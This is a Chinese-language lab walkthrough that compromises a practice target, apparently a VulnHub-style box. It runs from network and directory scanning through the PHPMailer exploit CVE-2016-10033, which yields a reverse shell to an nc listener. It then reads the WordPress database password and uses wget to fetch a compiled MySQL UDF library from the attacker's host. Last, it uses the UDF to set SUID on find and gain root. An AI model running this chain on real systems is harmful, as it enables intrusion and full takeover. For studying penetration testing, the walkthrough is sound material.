一、getshell
1.arp扫描,发现靶机ip
arp-scan -l
2.nmap扫描靶机开放端口信息
发现80端口开放
nmap -sS -sV 172.16.12.159
3.使用dirsearch扫描目录
发现vendor、WordPress等目录
dirsearch -u 172.16.12.159
4.访问vendor发现存在目录遍历漏洞
5.查看具体文件,信息收集
对文件进行查看,发现phpmailerautoload.php目录,以及reradme.md中存在phpmailer配置信息
6.寻找phpmailer的可利用漏洞
40974.py可以利用(CVE-2016-10033)
searchsploit phpmailer
7.复制poc,修改相关信息
需要修改target、backdoor、payload中的反弹ip和端口以及-X中的路径
cp /usr/share/exploitdb/exploits/php/webapps/40974.py ./
target = 'http://172.16.12.159/contact.php'
backdoor = '/shell.php' (backdoor.php没有成功)
-X /var/www/html/shell.php
8.执行py脚本,设置监听,访问相应文件反弹shell
python3 ./40974.py (需要安装pip)
设置好监听,先后访问172.16.12.159/contact.php、172.16.12.159/shell.php反弹shell
访问contact.php生成shell.php,访问shell.php反弹shell
nc -lvnp 4444
python -c 'import pty;pty.spawn("/bin/bash")' 反弹python shell
9.查找数据看信息
根据框架为wordpress,查看配置文件wp-config.php发现数据库配置信息
发现MySQL数据库的root密码
cd wordpress
cat wp-config.php
10.查看mysql相关信息
ps -ef|grep mysql
mysql --version
使用LinEnum.sh脚本查看linux信息(添加执行权限)
发现有关mysql的进程
二、udf提权
1.将1518.c复制到当前目录进行编译,生成1518.so文件
cp /usr/share/exploitdb/exploits/linux/local/1518.c ./
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
2.将1518.so下载到靶机系统
将1518.so放在/tmp/
wget http://172.16.12.130:1080/1518.so
3.登录mysql数据库,进入mysql库
mysql -u root -pR@v3nSecurity
show databases;
use mysql;
4.创建foo表,插入数据,创建函数
creat table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
其中dumpfile的路径要根据前面进程列出来的plugin目录进行改动
create function do_system returns integer soname '1518.so';
5.调用do_system函数来给find命令所有者的suid权限
select *from mysql.func;
select do_system('chmod u+s /usr/bin/find');
6.使用find命令执行/bin/sh命令,获得root的shell
touch haha
find haha -exec "/bin/sh" \;
whoami